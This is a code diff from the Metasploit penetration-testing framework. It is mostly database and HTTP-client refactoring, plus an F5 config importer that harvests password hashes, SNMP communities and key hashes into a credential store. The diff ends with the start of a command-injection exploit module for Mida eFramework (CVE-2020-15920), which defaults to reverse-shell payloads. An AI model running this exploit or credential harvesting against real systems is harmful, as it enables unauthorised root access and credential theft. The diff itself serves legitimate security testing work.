os_name: 'F5'
|
||||
}
|
||||
report_host(host_info)
|
||||
|
||||
# generated by: tmsh list auth user
|
||||
|
||||
# auth user admin {
|
||||
# description "Admin User"
|
||||
# encrypted-password $6$4FAWSZLi$VeSaxPM2/D1JOhMRN/GMkt5wHcbIVKaIC2g765ZD0VA9ZEEm8iyK40/ncGrZIGyJyJF4ivkScNZ59HWAIKMML/
|
||||
# partition Common
|
||||
# partition-access {
|
||||
# all-partitions {
|
||||
# role admin
|
||||
# }
|
||||
# }
|
||||
# shell none
|
||||
# }
|
||||
|
||||
config.scan(%r{auth user ([^ ]+) {\s*description "?([^\n"]+)"?\n\s*encrypted-password ([$\w\+\./]+)\n[\w\s\-{}]+\s+shell (tmsh|bash|none)\n}}mi).each do |result|
|
||||
username = result[0].strip
|
||||
description = result[1].strip
|
||||
hash = result[2].strip
|
||||
shell = result[3].strip
|
||||
cred = credential_data.dup
|
||||
cred[:username] = username
|
||||
cred[:jtr_format] = identify_hash(hash)
|
||||
cred[:private_data] = hash
|
||||
create_credential_and_login(cred)
|
||||
print_good("#{thost}:#{tport} Username '#{username}' with description '#{description}' and shell #{shell} with hash #{hash}")
|
||||
end
|
||||
|
||||
# generated by: tmsh list sys snmp communities
|
||||
|
||||
# sys snmp {
|
||||
# communities {
|
||||
# comm-public {
|
||||
# community-name public
|
||||
# source default
|
||||
# }
|
||||
# ro {
|
||||
# community-name rocommunity
|
||||
# }
|
||||
# rw {
|
||||
# access rw
|
||||
# community-name rwcommunity
|
||||
# }
|
||||
# }
|
||||
# }
|
||||
|
||||
config.scan(/(?:(access rw)?\n)\s+community-name (\w+)/).each do |result|
|
||||
if result[0].nil?
|
||||
access = 'RO'
|
||||
else
|
||||
access = 'RW'
|
||||
end
|
||||
cred = credential_data.dup
|
||||
cred[:port] = 161
|
||||
cred[:protocol] = 'udp'
|
||||
cred[:service_name] = 'snmp'
|
||||
cred[:jtr_format] = ''
|
||||
cred[:private_data] = result[1].strip
|
||||
cred[:private_type] = :password
|
||||
cred[:access_level] = access
|
||||
create_credential_and_login(cred)
|
||||
print_good("#{thost}:#{tport} SNMP Community '#{result[1].strip}' with #{access} access")
|
||||
end
|
||||
|
||||
# generated by: cat /config/bigip.conf
|
||||
|
||||
# cm device /Common/f5bigip.ragegroup.com {
|
||||
# active-modules { "BIG-IP, VE Trial|VTFAAAA-AAAAAAA|Rate Shaping|External Interface and Network HSM, VE|SDN Services, VE|SSL, Forward Proxy, VE|BIG-IP VE, Multicast Routing|APM, Limited|SSL, VE|DNS (1K QPS), VE|Routing Bundle, VE|ASM, VE|Crytpo Offload, VE, Tier 1 (25M - 200M)|Max Compression, VE|AFM, VE|DNSSEC|Anti-Virus Checks|Base Endpoint Security Checks|Firewall Checks|Network Access|Secure Virtual Keyboard|APM, Web Application|Machine Certificate Checks|Protected Workspace|Remote Desktop|App Tunnel|VE, Carrier Grade NAT (AFM ONLY)|PSM, VE" }
|
||||
# base-mac 00:11:11:a1:a1:a1
|
||||
# build 0.0.9
|
||||
# cert /Common/dtdi.crt
|
||||
# chassis-id 164aaf79-aace-3494-1237671446c7
|
||||
# configsync-ip 10.10.10.222
|
||||
# edition "Point Release 2"
|
||||
# hostname f5bigip.home.com
|
||||
# key /Common/dtdi.key
|
||||
# management-ip 1.1.1.1
|
||||
# marketing-name "BIG-IP Virtual Edition"
|
||||
# platform-id Z100
|
||||
# product BIG-IP
|
||||
# self-device true
|
||||
# time-zone America/Los_Angeles
|
||||
# version 15.1.0.2
|
||||
# }
|
||||
|
||||
if /^cm device (?<content>.+)}$/m =~ config
|
||||
if /hostname (?<hostname>[\w\.-]+)$/i =~ content
|
||||
print_good("#{thost}:#{tport} Hostname: #{hostname}")
|
||||
host_info[:name] = hostname
|
||||
report_host(host_info)
|
||||
end
|
||||
if /base-mac (?<mac>[\d:a-f]+)$/i =~ content
|
||||
print_good("#{thost}:#{tport} MAC Address: #{mac}")
|
||||
host_info[:mac] = mac
|
||||
report_host(host_info)
|
||||
end
|
||||
if /management-ip (?<ip>[\d\.]+)$/ =~ content
|
||||
print_good("#{thost}:#{tport} Management IP: #{ip}")
|
||||
end
|
||||
if /product (?<product>[\w-]+)$/i =~ content
|
||||
print_good("#{thost}:#{tport} Product #{product}")
|
||||
host_info[:os_name] = "F5 #{product}"
|
||||
report_host(host_info)
|
||||
end
|
||||
if /version (?<version>[\d\.]+)$/i =~ content
|
||||
print_good("#{thost}:#{tport} OS Version: #{version}")
|
||||
host_info[:os_flavor] = version
|
||||
report_host(host_info)
|
||||
end
|
||||
end
|
||||
|
||||
# generated by: cat /config/bigip.conf
|
||||
|
||||
# sys file ssl-key /Common/f5_api_com.key {
|
||||
# cache-path /config/filestore/files_d/Common_d/certificate_key_d/:Common:f5_api_com.key_63086_1
|
||||
# passphrase $M$iE$cIdy72xi7Xbk3kazSrpdfscd+oD1pdsXJbwhvhMPiss4Iw0RKIJQS/CuSReZl/+kseKpPCNpBWNWOOaBCwlQ0v4sl7ZUkxCymh5pfFNAjhc=
|
||||
# revision 1
|
||||
# source-path file:///config/ssl/ssl.key/f5_api_com.key
|
||||
# }
|
||||
config.scan(%r{^sys file ssl-key (.+) \{.+passphrase ([$\w/\+=]+).+source-path file://([\w/\.]+)}mi).each do |result|
|
||||
username = result[0].strip # its not really a username, but we'll leave it as is since its a common name
|
||||
hash = result[1].strip
|
||||
file = result[2].strip
|
||||
cred = credential_data.dup
|
||||
cred[:username] = username
|
||||
cred[:jtr_format] = identify_hash(hash)
|
||||
cred[:private_data] = hash
|
||||
create_credential_and_login(cred)
|
||||
print_good("#{thost}:#{tport} SSL Key '#{username}' and hash #{hash} for #{file}")
|
||||
end
|
||||
|
||||
# generated by tmsh show sys crypto master-key
|
||||
|
||||
# --------------------------------------------------------------------------------
|
||||
# Sys::Master-Key
|
||||
# --------------------------------------------------------------------------------
|
||||
# master-key hash <EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==>
|
||||
# previous hash <EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==>
|
||||
|
||||
config.scan(%r{(master-key|previous) hash\s+<([\w\+/=]+)>}i). each do |result|
|
||||
key_type = result[0].strip
|
||||
key = result[1].strip
|
||||
cred = credential_data.dup
|
||||
cred[:username] = "F5 #{key_type} hash"
|
||||
cred[:jtr_format] = identify_hash(key) # will come bacy empty
|
||||
cred[:private_data] = key
|
||||
create_credential_and_login(cred)
|
||||
print_good("#{thost}:#{tport} F5 #{key_type} hash #{key}")
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -38,12 +38,14 @@ module Msf::DBManager::ExploitAttempt
|
||||
|
||||
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
|
||||
port = opts[:port]
|
||||
prot = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO
|
||||
svc = opts[:service]
|
||||
|
||||
# Look up the service as appropriate
|
||||
if port and svc.nil?
|
||||
svc = get_service(wspace, host, prot, port)
|
||||
# only one result can be returned, as the +port+ field restricts potential results to a single service
|
||||
svc = services(:workspace => wspace,
|
||||
:hosts => {address: host},
|
||||
:port => port).first
|
||||
end
|
||||
|
||||
# Look up the host as appropriate
|
||||
|
||||
@@ -132,8 +132,11 @@ module Msf::DBManager::Note
|
||||
if addr and not host
|
||||
host = get_host(:workspace => wspace, :host => addr)
|
||||
end
|
||||
if host and (opts[:port] and proto)
|
||||
service = get_service(wspace, host, proto, opts[:port])
|
||||
if host and opts[:port]
|
||||
# only one result can be returned, as the +port+ field restricts potential results to a single service
|
||||
service = services(:workspace => wspace,
|
||||
:hosts => {address: host},
|
||||
:port => opts[:port]).first
|
||||
elsif opts[:service] and opts[:service].kind_of? ::Mdm::Service
|
||||
service = opts[:service]
|
||||
end
|
||||
|
||||
@@ -33,14 +33,6 @@ module Msf::DBManager::Service
|
||||
report_service(opts)
|
||||
end
|
||||
|
||||
def get_service(wspace, host, proto, port)
|
||||
::ApplicationRecord.connection_pool.with_connection {
|
||||
host = get_host(:workspace => wspace, :address => host)
|
||||
return if !host
|
||||
return host.services.find_by_proto_and_port(proto, port)
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Record a service in the database.
|
||||
#
|
||||
|
||||
@@ -1562,9 +1562,6 @@ class Exploit < Msf::Module
|
||||
|
||||
if self.datastore['RPORT'] and self.options['RPORT']
|
||||
info[:port] = self.datastore['RPORT']
|
||||
if self.class.ancestors.include?(Msf::Exploit::Remote::Tcp)
|
||||
info[:proto] = 'tcp'
|
||||
end
|
||||
end
|
||||
|
||||
framework.db.report_exploit_failure(info)
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
require 'uri'
|
||||
require 'digest'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
@@ -11,6 +12,7 @@ module Msf
|
||||
#
|
||||
###
|
||||
module Exploit::Remote::HttpClient
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
#
|
||||
@@ -47,7 +49,6 @@ module Exploit::Remote::HttpClient
|
||||
OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]),
|
||||
OptString.new('DOMAIN', [ true, 'The domain to use for Windows authentication', 'WORKSTATION']),
|
||||
OptFloat.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout']),
|
||||
OptBool.new('HttpPartialResponses', [false, 'Return partial HTTP responses despite timeouts', false]),
|
||||
OptBool.new('HttpTrace', [false, 'Show the raw HTTP requests and responses', false]),
|
||||
OptBool.new('HttpTraceHeadersOnly', [false, 'Show HTTP headers only in HttpTrace', false]),
|
||||
OptString.new('HttpTraceColors', [false, 'HTTP request and response colors for HttpTrace (unset to disable)', 'red/blu'])
|
||||
@@ -88,6 +89,9 @@ module Exploit::Remote::HttpClient
|
||||
)
|
||||
register_autofilter_ports([ 80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443 ])
|
||||
register_autofilter_services(%W{ http https })
|
||||
|
||||
# Initialize an empty cookie jar to keep cookies
|
||||
self.cookie_jar = Set.new
|
||||
end
|
||||
|
||||
def deregister_http_client_options
|
||||
@@ -168,7 +172,7 @@ module Exploit::Remote::HttpClient
|
||||
nclient.set_config(
|
||||
'vhost' => opts['vhost'] || opts['rhost'] || self.vhost(),
|
||||
'agent' => datastore['UserAgent'],
|
||||
'partial' => opts['partial'] || datastore['HttpPartialResponses'],
|
||||
'partial' => opts['partial'],
|
||||
'uri_encode_mode' => datastore['HTTP::uri_encode_mode'],
|
||||
'uri_full_url' => datastore['HTTP::uri_full_url'],
|
||||
'pad_method_uri_count' => datastore['HTTP::pad_method_uri_count'],
|
||||
@@ -314,69 +318,80 @@ module Exploit::Remote::HttpClient
|
||||
#
|
||||
# Passes +opts+ through directly to Rex::Proto::Http::Client#request_raw.
|
||||
#
|
||||
def send_request_raw(opts={}, timeout = 20, disconnect = false)
|
||||
def send_request_raw(opts = {}, timeout = 20, disconnect = false)
|
||||
if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0
|
||||
actual_timeout = datastore['HttpClientTimeout']
|
||||
else
|
||||
actual_timeout = opts[:timeout] || timeout
|
||||
actual_timeout = opts[:timeout] || timeout
|
||||
end
|
||||
|
||||
begin
|
||||
c = connect(opts)
|
||||
r = opts[:cgi] ? c.request_cgi(opts) : c.request_raw(opts)
|
||||
c = connect(opts)
|
||||
r = opts[:cgi] ? c.request_cgi(opts) : c.request_raw(opts)
|
||||
|
||||
if datastore['HttpTrace']
|
||||
request_color, response_color =
|
||||
(datastore['HttpTraceColors'] || '').split('/').map { |color| "%bld%#{color}" }
|
||||
if datastore['HttpTrace']
|
||||
request_color, response_color =
|
||||
(datastore['HttpTraceColors'] || '').split('/').map { |color| "%bld%#{color}" }
|
||||
|
||||
request = r.to_s(headers_only: datastore['HttpTraceHeaders'])
|
||||
request = r.to_s(headers_only: datastore['HttpTraceHeaders'])
|
||||
|
||||
print_line('#' * 20)
|
||||
print_line('# Request:')
|
||||
print_line('#' * 20)
|
||||
print_line("%clr#{request_color}#{request}%clr")
|
||||
end
|
||||
|
||||
res = c.send_recv(r, actual_timeout)
|
||||
|
||||
if datastore['HttpTrace']
|
||||
print_line('#' * 20)
|
||||
print_line('# Response:')
|
||||
print_line('#' * 20)
|
||||
|
||||
if res
|
||||
response = res.to_terminal_output(headers_only: datastore['HttpTraceHeadersOnly'])
|
||||
|
||||
print_line("%clr#{response_color}#{response}%clr")
|
||||
else
|
||||
print_line('No response received')
|
||||
end
|
||||
end
|
||||
|
||||
disconnect(c) if disconnect
|
||||
|
||||
res
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error => e
|
||||
print_line(e.message) if datastore['HttpTrace']
|
||||
nil
|
||||
rescue Rex::ConnectionError => e
|
||||
vprint_error(e.to_s)
|
||||
nil
|
||||
rescue ::Exception => e
|
||||
print_line(e.message) if datastore['HttpTrace']
|
||||
raise e
|
||||
print_line('#' * 20)
|
||||
print_line('# Request:')
|
||||
print_line('#' * 20)
|
||||
print_line("%clr#{request_color}#{request}%clr")
|
||||
end
|
||||
|
||||
res = c.send_recv(r, actual_timeout)
|
||||
|
||||
if datastore['HttpTrace']
|
||||
print_line('#' * 20)
|
||||
print_line('# Response:')
|
||||
print_line('#' * 20)
|
||||
|
||||
if res
|
||||
response = res.to_terminal_output(headers_only: datastore['HttpTraceHeadersOnly'])
|
||||
|
||||
print_line("%clr#{response_color}#{response}%clr")
|
||||
else
|
||||
print_line('No response received')
|
||||
end
|
||||
end
|
||||
|
||||
disconnect(c) if disconnect
|
||||
|
||||
res
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error => e
|
||||
print_line(e.message) if datastore['HttpTrace']
|
||||
nil
|
||||
rescue Rex::ConnectionError => e
|
||||
vprint_error(e.to_s)
|
||||
nil
|
||||
rescue ::Exception => e
|
||||
print_line(e.message) if datastore['HttpTrace']
|
||||
raise e
|
||||
end
|
||||
|
||||
|
||||
# Connects to the server, creates a request, sends the request,
|
||||
# reads the response
|
||||
#
|
||||
# Passes `opts` through directly to {Rex::Proto::Http::Client#request_cgi}.
|
||||
# Set `opts['keep_cookies']` to keep cookies from responses for reuse in requests.
|
||||
#
|
||||
# @return (see Rex::Proto::Http::Client#send_recv))
|
||||
def send_request_cgi(opts={}, timeout = 20, disconnect = true)
|
||||
send_request_raw(opts.merge(cgi: true), timeout, disconnect)
|
||||
def send_request_cgi(opts = {}, timeout = 20, disconnect = true)
|
||||
if cookie_jar.any?
|
||||
opts = { 'cookie' => cookie_jar.to_a.join(' ') }.merge(opts)
|
||||
end
|
||||
|
||||
res = send_request_raw(opts.merge(cgi: true), timeout, disconnect)
|
||||
|
||||
return unless res
|
||||
|
||||
if opts['keep_cookies'] && res.headers['Set-Cookie'].present?
|
||||
# XXX: CGI::Cookie (get_cookies_parsed) is hella broken
|
||||
cookie_jar.merge(res.get_cookies.split(' '))
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
# Connects to the server, creates a request, sends the request, reads the
|
||||
@@ -387,30 +402,31 @@ module Exploit::Remote::HttpClient
|
||||
# `opts['redirect_uri']` will contain the full URI.
|
||||
#
|
||||
# @return (see #send_request_cgi)
|
||||
def send_request_cgi!(opts={}, timeout = 20, redirect_depth = 1)
|
||||
if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0
|
||||
actual_timeout = datastore['HttpClientTimeout']
|
||||
else
|
||||
actual_timeout = opts[:timeout] || timeout
|
||||
end
|
||||
def send_request_cgi!(opts = {}, timeout = 20, redirect_depth = 1)
|
||||
res = send_request_cgi(opts, timeout)
|
||||
|
||||
res = send_request_cgi(opts, actual_timeout)
|
||||
return res unless res && res.redirect? && redirect_depth > 0
|
||||
return unless res
|
||||
return res unless res.redirect? && res.redirection && redirect_depth > 0
|
||||
|
||||
redirect_depth -= 1
|
||||
return res if res.redirection.nil?
|
||||
|
||||
reconfig_redirect_opts!(res, opts)
|
||||
send_request_cgi!(opts, actual_timeout, redirect_depth)
|
||||
send_request_cgi!(opts, timeout, redirect_depth)
|
||||
end
|
||||
|
||||
|
||||
# Modifies the HTTP request options for a redirection.
|
||||
#
|
||||
# @param res [Rex::Proto::HTTP::Response] HTTP Response.
|
||||
# @param opts [Hash] The HTTP request options to modify.
|
||||
# @return [void]
|
||||
def reconfig_redirect_opts!(res, opts)
|
||||
# XXX: https://github.com/rapid7/metasploit-framework/issues/12281
|
||||
if opts['method'] == 'POST'
|
||||
opts['method'] = 'GET'
|
||||
opts['data'] = nil
|
||||
opts['vars_post'] = {}
|
||||
end
|
||||
|
||||
location = res.redirection
|
||||
|
||||
if location.relative?
|
||||
@@ -425,7 +441,7 @@ module Exploit::Remote::HttpClient
|
||||
opts['redirect_uri'] = new_redirect_uri
|
||||
opts['uri'] = new_redirect_uri
|
||||
end
|
||||
|
||||
|
||||
opts['rhost'] = datastore['RHOST']
|
||||
opts['vhost'] = opts['vhost'] || opts['rhost'] || self.vhost()
|
||||
opts['rport'] = datastore['RPORT']
|
||||
@@ -446,6 +462,9 @@ module Exploit::Remote::HttpClient
|
||||
opts['SSL'] = false
|
||||
end
|
||||
end
|
||||
|
||||
# Don't forget any GET parameters
|
||||
opts['query'] ||= location.query if location.query
|
||||
end
|
||||
|
||||
#
|
||||
@@ -670,7 +689,10 @@ module Exploit::Remote::HttpClient
|
||||
wspace = datastore['WORKSPACE'] ?
|
||||
framework.db.find_workspace(datastore['WORKSPACE']) : framework.db.workspace
|
||||
|
||||
service = framework.db.get_service(wspace, rhost, 'tcp', rport)
|
||||
# only one result can be returned, as the +port+ field restricts potential results to a single service
|
||||
service = framework.db.services(:workspace => wspace,
|
||||
:hosts => {address: rhost},
|
||||
:port => rport).first
|
||||
return fprints unless service
|
||||
|
||||
# Order by note_id descending so the first value is the most recent
|
||||
@@ -867,10 +889,10 @@ module Exploit::Remote::HttpClient
|
||||
}
|
||||
end
|
||||
|
||||
protected
|
||||
protected
|
||||
|
||||
attr_accessor :client
|
||||
attr_accessor :cookie_jar
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -47,9 +47,6 @@ class PayloadSet < ModuleSet
|
||||
self.stages = {}
|
||||
self.singles = {}
|
||||
|
||||
# Hash that caches the sizes of payloads
|
||||
self.sizes = {}
|
||||
|
||||
# Single instance cache of modules for use with doing quick referencing
|
||||
# of attributes that would require an instance.
|
||||
self._instances = {}
|
||||
@@ -94,15 +91,6 @@ class PayloadSet < ModuleSet
|
||||
# Add it to the set
|
||||
add_single(p, name, op[5])
|
||||
new_keys.push name
|
||||
|
||||
# Cache the payload's size
|
||||
begin
|
||||
sizes[name] = p.cached_size || p.new.size
|
||||
# Don't cache generic payload sizes.
|
||||
rescue NoCompatiblePayloadError
|
||||
rescue StandardError => e
|
||||
elog("Unable to build payload #{name} due to #{e}.")
|
||||
end
|
||||
}
|
||||
|
||||
# Recalculate staged payloads
|
||||
@@ -181,9 +169,6 @@ class PayloadSet < ModuleSet
|
||||
'paths' => op[5]['paths'] + ip[5]['paths'],
|
||||
'type' => op[5]['type']})
|
||||
new_keys.push combined
|
||||
|
||||
# Cache the payload's size
|
||||
sizes[combined] = p.cached_size || p.new.size
|
||||
}
|
||||
}
|
||||
|
||||
@@ -404,10 +389,6 @@ class PayloadSet < ModuleSet
|
||||
# The list of singles that have been loaded.
|
||||
#
|
||||
attr_reader :singles
|
||||
#
|
||||
# The sizes of all the built payloads thus far.
|
||||
#
|
||||
attr_reader :sizes
|
||||
|
||||
protected
|
||||
|
||||
@@ -450,7 +431,7 @@ protected
|
||||
end
|
||||
|
||||
attr_accessor :payload_type_modules # :nodoc:
|
||||
attr_writer :stages, :singles, :sizes # :nodoc:
|
||||
attr_writer :stages, :singles # :nodoc:
|
||||
attr_accessor :_instances # :nodoc:
|
||||
|
||||
end
|
||||
|
||||
@@ -129,7 +129,7 @@ class RPC_Session < RPC_Base
|
||||
# @param [Integer] sid Session ID.
|
||||
# @param [String] lhost Local host.
|
||||
# @param [Integer] lport Local port.
|
||||
# @return [Hash] A hash indicating the actioin was successful. It contains the following key:
|
||||
# @return [Hash] A hash indicating the action was successful. It contains the following key:
|
||||
# * 'result' [String] A message that says 'success'
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('session.shell_upgrade', 2, payload_lhost, payload_lport)
|
||||
|
||||
@@ -10,7 +10,6 @@ module ServiceServlet
|
||||
|
||||
def self.registered(app)
|
||||
app.get ServiceServlet.api_path, &get_services
|
||||
app.get ServiceServlet.api_path_with_id, &get_services
|
||||
app.post ServiceServlet.api_path, &report_service
|
||||
app.put ServiceServlet.api_path_with_id, &update_service
|
||||
app.delete ServiceServlet.api_path, &delete_service
|
||||
|
||||
@@ -18,7 +18,7 @@ module DBManager
|
||||
Arel::Nodes::Regexp.new(Arel::Nodes::NamedFunction.new("CAST", [model.arel_table[column.name].as("TEXT")]),
|
||||
Arel::Nodes.build_quoted(search))
|
||||
}
|
||||
condition_set.reduce { |conditions, condition| conditions.or(condition).expr }
|
||||
Arel::Nodes::Grouping.new(condition_set.reduce { |conditions, condition| conditions.or(condition).expr })
|
||||
end
|
||||
|
||||
# Processes the workspace value in the opts hash from a request. This method throws an exception if
|
||||
|
||||
@@ -287,7 +287,10 @@ module Rex
|
||||
end
|
||||
|
||||
def check_for_existing_service(address,port)
|
||||
db.get_service(@args[:workspace],address,"tcp",port)
|
||||
# only one result can be returned, as the +port+ field restricts potential results to a single service
|
||||
db.services(:workspace => @args[:workspace],
|
||||
:hosts => {address: address},
|
||||
:port => port).first
|
||||
end
|
||||
|
||||
def resolve_port(uri)
|
||||
|
||||
@@ -123,38 +123,36 @@ class Client
|
||||
# @option opts 'vhost' [String] Host header value
|
||||
#
|
||||
# @return [ClientRequest]
|
||||
def request_raw(opts={})
|
||||
def request_raw(opts = {})
|
||||
opts = self.config.merge(opts)
|
||||
|
||||
opts['ssl'] = self.ssl
|
||||
opts['cgi'] = false
|
||||
opts['port'] = self.port
|
||||
opts['cgi'] = false
|
||||
opts['port'] = self.port
|
||||
opts['ssl'] = self.ssl
|
||||
|
||||
req = ClientRequest.new(opts)
|
||||
ClientRequest.new(opts)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Create a CGI compatible request
|
||||
#
|
||||
# @param (see #request_raw)
|
||||
# @option opts (see #request_raw)
|
||||
# @option opts 'ctype' [String] Content-Type header value, default: +application/x-www-form-urlencoded+
|
||||
# @option opts 'ctype' [String] Content-Type header value, default for POST requests: +application/x-www-form-urlencoded+
|
||||
# @option opts 'encode_params' [Bool] URI encode the GET or POST variables (names and values), default: true
|
||||
# @option opts 'vars_get' [Hash] GET variables as a hash to be translated into a query string
|
||||
# @option opts 'vars_post' [Hash] POST variables as a hash to be translated into POST data
|
||||
#
|
||||
# @return [ClientRequest]
|
||||
def request_cgi(opts={})
|
||||
def request_cgi(opts = {})
|
||||
opts = self.config.merge(opts)
|
||||
|
||||
opts['ctype'] ||= 'application/x-www-form-urlencoded'
|
||||
opts['ssl'] = self.ssl
|
||||
opts['cgi'] = true
|
||||
opts['port'] = self.port
|
||||
opts['cgi'] = true
|
||||
opts['port'] = self.port
|
||||
opts['ssl'] = self.ssl
|
||||
opts['ctype'] ||= 'application/x-www-form-urlencoded' if opts['method'] == 'POST'
|
||||
|
||||
req = ClientRequest.new(opts)
|
||||
req
|
||||
ClientRequest.new(opts)
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -219,11 +219,9 @@ class Response < Packet
|
||||
# @return [URI] the uri of the redirection location.
|
||||
# @return [nil] if the response hasn't a Location header or it isn't a valid uri.
|
||||
def redirection
|
||||
begin
|
||||
URI(headers['Location'])
|
||||
rescue ::URI::InvalidURIError
|
||||
nil
|
||||
end
|
||||
URI(headers['Location'])
|
||||
rescue ArgumentError, ::URI::InvalidURIError
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -19,7 +19,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
This module imports a Brocade device configuration.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'h00die']
|
||||
'Author' => ['h00die']
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
@@ -19,7 +19,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
This module imports a Cisco IOS or NXOS device configuration.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'h00die']
|
||||
'Author' => ['h00die']
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
@@ -0,0 +1,43 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/auxiliary/f5'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::F5
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'F5 Configuration Importer',
|
||||
'Description' => %q{
|
||||
This module imports an F5 device configuration.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['h00die'],
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPath.new('CONFIG', [true, 'Path to configuration to import']),
|
||||
Opt::RHOST(),
|
||||
Opt::RPORT(22)
|
||||
]
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
unless ::File.exist?(datastore['CONFIG'])
|
||||
fail_with Failure::BadConfig, "F5 config file #{datastore['CONFIG']} does not exist!"
|
||||
end
|
||||
f5_config = ::File.open(datastore['CONFIG'], 'rb')
|
||||
print_status('Importing config')
|
||||
f5_config_eater(datastore['RHOSTS'], datastore['RPORT'], f5_config.read)
|
||||
print_good('Config import successful')
|
||||
end
|
||||
end
|
||||
@@ -19,7 +19,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
This module imports a Juniper ScreenOS or JunOS device configuration.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'h00die'],
|
||||
'Author' => ['h00die'],
|
||||
'Actions' =>
|
||||
[
|
||||
['JUNOS', 'Description' => 'Import JunOS Config File'],
|
||||
|
||||
@@ -0,0 +1,134 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Mida Solutions eFramework ajaxreq.php Command Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a command injection vulnerability in Mida
|
||||
Solutions eFramework version 2.9.0 and prior.
|
||||
|
||||
The `ajaxreq.php` file allows unauthenticated users to inject
|
||||
arbitrary commands in the `PARAM` parameter to be executed as
|
||||
the apache user. The sudo configuration permits the apache user
|
||||
to execute any command as root without providing a password,
|
||||
resulting in privileged command execution as root.
|
||||
|
||||
This module has been successfully tested on Mida Solutions
|
||||
eFramework-C7-2.9.0 virtual appliance.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'elbae', # discovery and exploit
|
||||
'bcoles', # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2020-15920'],
|
||||
['EDB', '48768'],
|
||||
['URL', 'https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html'],
|
||||
],
|
||||
'Payload' => { 'BadChars' => "\x00" },
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Linux (x86)', {
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'linux',
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
|
||||
}
|
||||
}
|
||||
],
|
||||
[
|
||||
'Linux (x64)', {
|
||||
'Arch' => ARCH_X64,
|
||||
'Platform' => 'linux',
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
|
||||
}
|
||||
}
|
||||
],
|
||||
[
|
||||
'UNIX (cmd)', {
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => 'unix',
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/unix/reverse_bash'
|
||||
}
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => '2020-07-24',
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 443,
|
||||
'SSL' => true
|
||||
},
|
||||
'DefaultTarget' => 1,
|
||||
'Notes' =>
|
||||
{
|
||||
'Stability' => [ CRASH_SAFE ],
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
|
||||
'Reliability' => [ REPEATABLE_SESSION ]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'Base path to eFramework', '/'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
res = execute_command('id')
|
||||
|
||||
unless res
|
||||
return CheckCode::Safe('Connection failed')
|
||||
end
|
||||
|
||||
unless res.body.include?('uid=')
|
||||
return CheckCode::Safe('Target is not vulnerable')
|
||||
end
|
||||
|
||||
CheckCode::Vulnerable
|
||||
end
|
||||
